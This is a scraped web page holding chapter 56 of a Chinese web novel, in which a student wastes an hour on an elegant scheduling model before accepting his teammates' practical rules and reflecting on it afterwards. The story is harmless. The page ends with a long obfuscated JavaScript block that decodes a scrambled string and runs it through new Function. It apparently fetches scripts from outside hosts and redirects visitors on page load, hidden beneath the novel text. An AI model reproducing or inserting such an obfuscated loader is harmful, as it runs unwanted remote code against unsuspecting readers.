首页
第一卷 少年游 第五十六
返回
关灯 护眼:关 字号:小

第一卷 少年游 第五十六章盲点

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第一卷少年游第五十六章盲点(第1/2页)
    一个小时以后,原既白没有找到。
    这件事起初只是让他有一点烦躁。问题明明已经比刚才更清楚:不是在一张静态课表上减少冲突,而是在教师请假、场地临时失效、课程调整不断发生的情况下,让整个排课系统仍然能够快速恢复。按照他过去的经验,只要再往上一层,把“课表”看成一个不断变化的约束系统,把每一次临时事件看成局部扰动,理论上应该存在一种更统一的描述。于是他重新画图,把时间、教师、课程、教室分别变成变量,又尝试把“调整代价”定义出来,希望找到一个既能生成初始课表、又能在局部变化时最小修改的结构。纸换了三张,符号越来越漂亮,真正能交给教务老师使用的东西却越来越远。
    唐岑最先察觉不对。她原本跟着原既白整理约束,二十分钟以后已经开始不断看表,最后把笔往桌上一放,问现在距离展示还有多久。林沛看了一眼手机,说四十六分钟。唐岑没有批评谁,只问如果现在有个老师突然请假,他们这套东西能不能告诉教务处下一步先做什么。原既白说模型还差一点,等目标函数和约束关系稳定以后,可以直接求新的最优解。林沛坐在对面听了一会儿,忽然问:“求多久?”原既白停了一下,因为这个问题他确实没有算过。林沛又问,如果学校没有求解器,教务老师是不是要等他们先装一套软件。唐岑看了两个人一眼,起身把最初那张题目重新贴到白板上,说:“我们先保证四十分钟以后有东西能讲。”
    原既白并不认为她说错,可身体里还是升起一种不舒服。他很少在一个问题上走到这里以后被迫退回去,尤其是那种“高处已经隐约在那里,只差最后一步”的感觉太熟悉了。他甚至觉得,如果现在再给自己半小时,那个结构就会出来。林沛却已经拿笔在白板上写了三个最简单的动作:先锁定不能动的课;再寻找同年级、同课程可互换的位置;如果仍然冲突,优先调整对连续教学影响最小的课程。下面又补了一行——每一次调整最多影响几节课,要有上限。
    “这不就是人工规则?”原既白问。
    林沛点头:“对。”
    “那遇到复杂情况还是会崩。”
    “可能。”
    “也不能保证最优。”
    “不能。”
    原既白看着白板,有一点难以接受。“那这算什么方案?”
    林沛没有马上回嘴。他把刚才从教务老师那里问来的几张便签排在桌上,其中一张写着“临时请假一般上午七点以后才知道”,另一张写着“教务员通常只有二十分钟调整”。过了一会儿,他才说:“算一个今天两小时内能做出来、明天教务老师真能试的方案。最优以后再说。”
    房间里安静了一下。
    原既白第一次很清楚地感觉到,这不是“不同方法各有优劣”那么简单。他的模型在理论上当然更完整,甚至如果真做成,长期一定比几条人工规则更有价值;但此时此刻,距离展示只剩四十分钟,它还不能运行。林沛那几条看上去粗糙得甚至有点难看的规则,却已经可以拿去问教务老师:这种顺序有没有用,哪些地方会失效。一个小时以前,原既白还觉得访谈是在浪费时间,现在真正浪费掉最多时间的人反而是自己。
    唐岑没有给他们继续争的机会。她把任务拆成三块:林沛去补教务现场反馈,她自己把已有规则画成流程,原既白负责把“人工规则为什么会失效”和“未来怎样升级成更系统的方法”整理出来。原既白听到最后一项时,心里更不舒服,因为这几乎等于承认自己从主方案退成了补充说明。他想说再给二十分钟,也许能把动态模型至少做出一个简化版本,可抬头看见墙上的倒计时,最终什么都没说。
    二十分钟后,他们第一次拿着那套粗糙规则去找教务老师。老师看了一遍,第一句话就是:“这个第二步不行。”原因很简单:同年级同课程并不意味着老师可以互换,因为有的班进度快两节,有的慢一节,临时换老师反而容易出问题。林沛立刻把“同课程互换”改成“优先同教师跨班调整”,唐岑问这种调整最常见的代价是什么,老师说是两门课互相挪位置以后,可能把某个老师一天压成连续五节。三个人又回去修改。原既白站在一旁,看着一条规则在十分钟里被现实推翻、改掉,再拿回来重新测试,心里忽然出现一种奇怪的感觉:这套东西没有高层结构,甚至可以说相当笨,可它在动。
    距离展示十三分钟时,林沛又发现一个漏洞:如果临时请假的正好是毕业班主课老师,所谓“最小调整”未必是最重要目标,因为学校可能宁愿多动几节副科,也要优先保住毕业班课程。于是他们又把优先级加进去。原既白这时终于插手,把散乱规则重新整理成一个层级结构:先确定不可违反的硬约束,再按照学校自己给出的优先级处理软约束,最后在剩余可行方案里最小化改动。林沛看完以后立刻说这个有用,唐岑也把流程图重画了一遍。原既白第一次在这两个小时里真正感到顺了一点,却同时意识到一件让他更加不舒服的事——这个高层结构不是他一开始“想出来”的,是在几十分钟的现场修补以后才从下面长出来的。
    展示开始时,他们小组抽到第三。
    第一组做校园食堂排队,第二组研究实验室预约,都有完整数据。轮到原既白他们时,唐岑先讲场景,没有从模型开始,而是直接放出一张“早上七点四十分,老师临时请假”的模拟通知,然后问台下,如果你只有二十分钟重新排课,第一步会做什么。几个人很快给出不同答案,有人说找代课,有人说换课,有人说整班自习。唐岑这才把他们问来的真实限制一条条放出来:场馆临时失效、实验室维护、教师接送孩子、毕业班优先、不同班级进度差异。原来题目给出的数据只是地图的一部分,真正的地形要走进去才知道。
    林沛负责讲那套“难看”的规则。他没有包装成算法,只说这是一套他们一个多小时内不断被教务老师驳回、重新修改出来的临时决策流程。台下有人立刻问为什么不直接做优化模型,林沛看了一眼原既白,把话递给他。
    原既白站起来时,有半秒钟很想从自己最初那张网络图开始讲。
    最后没有。
    他说他们一开始确实这么做,而且自己尤其相信应该先建立统一模型,把静态排课和动态调整一起解决。可是两个小时不够,真实学校的约束又比题目给出的多得多。与其提交一个结构漂亮却没验证过的“最优模型”,他们最后决定先建立可用规则,再把这些规则逐步抽象成硬约束、软约束和调整代价。以后如果真做系统,可以在这个基础上进入约束优化,而不是一开始就假设自己已经知道所有约束。
    评委席上一个老师问:“所以你认为第一版的模型错了吗?”
    原既白停了一下。
    “不是完全错。”
    (本章未完,请点击下一页继续阅读)第一卷少年游第五十六章盲点(第2/2页)
    “那为什么不用?”
    “因为它现在还不能解决这个学校明天早上七点四十分的问题。”
    台下没有笑。
    那位老师又问:“如果给你一个月呢?”
    这一次原既白几乎立刻回答:“我会继续做模型。”
    林沛转头看他。
    原既白继续说,一个月足够把更多现场约束采回来,也可以做程序和历史数据回放。真正要避免的不是抽象,而是**在没看清问题以前,提前相信自己的抽象已经完整**。他说到这里时,突然意识到这句话和顾遥在暑期营里对他说的几乎是同一件事,只是那时候自己还能把它当成一种“值得学习的方法”,今天却第一次因为没有做到而真正输掉时间。
    展示结束以后,他们没有拿最佳小组。
    第一名是唐岑之前提过的另一个组。他们研究校园实验室预约,没有构建什么特别高级的系统,只先把三种最常见的冲突做成一个很简单的手工排程工具,现场让老师改了四轮,最后展示时直接演示“某个实验室临时停用后,三分钟重新排完”。方案并不宏大,甚至从理论角度看很容易超过,但现场效果极好。
    原既白坐在下面看完整个演示,手指一直压着自己的笔。
    第二名也不是他们。
    最后他们得了一个没有排名意味的“结构表达突出”。
    林沛拿到那张纸时笑了一下,递给原既白:“挺适合你。”
    原既白也笑。
    但不太高兴。
    交流结束以后,秦老师在校门外等他。返程大巴还有半小时,两个人坐到路边一家面馆。秦老师没有问为什么没拿第一,只问今天怎么样。原既白说“还行”,低头吃面。秦老师看了他一会儿,大概知道这两个字通常意味着不太行,便把桌上的辣椒罐往旁边挪了挪,说:“你是不是觉得你们那个方法应该更高级?”
    原既白没有否认。
    “理论上是。”
    “实际上呢?”
    “没做出来。”
    秦老师点头,继续吃自己的面。过了一会儿,他才问:“那是谁的问题?”
    原既白停住筷子。
    这个问题让他很不舒服。
    题目时间短是真的,数据不全是真的,真实约束复杂也是真的。可如果把这些都拿掉,最核心的一点仍然很清楚:在林沛已经发现题目外还有现实约束以后,他依然花了将近一个小时去寻找那个更漂亮的统一结构。他不是不知道另一条路存在,只是下意识觉得那条路不够“好”。
    “我的。”他说。
    秦老师“嗯”了一声,没有安慰。
    面馆里很热,后厨不断传出锅铲碰铁锅的声音。吃到快结束时,秦老师才又说了一句:“你小时候学会往高处站,这个本事很好。以后可能也会是你最值钱的东西。但你要记住一件事——高处有时候是山,有时候只是你脑子里搭出来的楼梯。”
    原既白没接话。
    回县里的大巴上,他一路没有睡。那张最初画得很漂亮的网络图还夹在包里,他拿出来看了几次,越看越觉得它没有错。正因为没有错,才更麻烦。如果那只是一个明显愚蠢的模型,他撕掉就结束了;可它很可能真的代表这个问题未来应该走的方向,只是**不是今天、不是在真实限制还没摸清的时候,也不是用“我已经看见高处”作为跳过地面的理由。**
    手机在这时候震了一下。
    江遥发来一张照片。她那张省队第十三的成绩单被夹在黑色笔记本里,只露出一小截,旁边是一道刚做完的电磁题。下面写着:“今天A组第四。”
    原既白盯着那几个字看了一会儿。江遥从三十七、四十一、三十四一路往上爬,现在已经开始在A组站住。她的方式和自己完全相反:一次次把漂亮猜想压到纸上,把条件补全,把实验做慢,把那些她过去嫌笨的步骤重新学会。
    原既白没有立刻告诉她今天的事。
    他先回:“不错。”
    江遥很快问:“你省城交流怎么样?”
    原既白看着屏幕,打了“挺好”,又删掉。
    改成:
    “我今天有点蠢。”
    对面隔了不到十秒,电话直接打过来。
    江遥一接通就笑,问这句话值不值得录音保存,毕竟原既白亲口承认自己蠢的机会可能比她进国家队还稀有。原既白本来心情不好,被她这么一说反而也笑了一下。他没有只讲最后没拿奖,而是从最开始那个排课问题讲起,讲自己怎么把它迅速抽象成约束图,怎么越来越确信只要再高一层就能统一,讲林沛出去问了教务老师,带回来三个题目里没有的限制,最后又带回来第四个——系统真正痛的不是“第一次怎么排”,而是“第二天突然有人请假怎么办”。
    江遥听到这里没有取笑他。她问:“然后你又想统一?”
    原既白说:“嗯。”
    “统一了多久?”
    “差不多一个小时。”
    电话那头安静一下。
    然后江遥笑得非常大声。
    原既白脸都黑了:“很好笑?”
    “特别好笑。”
    “挂了。”
    “别别别。”
    她好不容易停下来,才说自己前几个月做物竞也是一样,只不过她的问题不是总往上站,而是看见一点东西就觉得能长成一棵树。原既白的问题是看见一堆东西就觉得上面一定存在一座山。一个老想往上长,一个老想往上找,听起来都挺有病。
    原既白靠在车窗边,望着外面不断往后退的高速公路护栏。“那怎么办?”
    江遥这次没有马上回答。
    过了一会儿,她说:“不知道。”
    “你最近很喜欢不知道。”
    “因为是真的不知道。”
    “那你打电话有什么用?”
    “看你倒霉。”
    原既白笑了一下。
    车进入山区以后信号开始断,江遥的声音时有时无。两个人又说了几句,电话自己断掉。原既白没有重拨,把手机放回口袋,重新拿出那张网络图。
    他看了半分钟。
    在纸最上面写了一句话:
    **先下去。**
    写完以后,他自己觉得这三个字有点像故意总结人生,皱了皱眉,拿笔划掉了。
    旁边一个睡了一路的大叔正好醒来,看见他那张纸,问:“学生,数学题啊?”
    原既白把纸翻过去。
    “不是。”
    大叔“哦”了一声,拉开矿泉水喝了两口,又继续睡了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o50hvng3np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/On0hX2ps2J/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"On0hX2ps2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8On0hX2ps2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();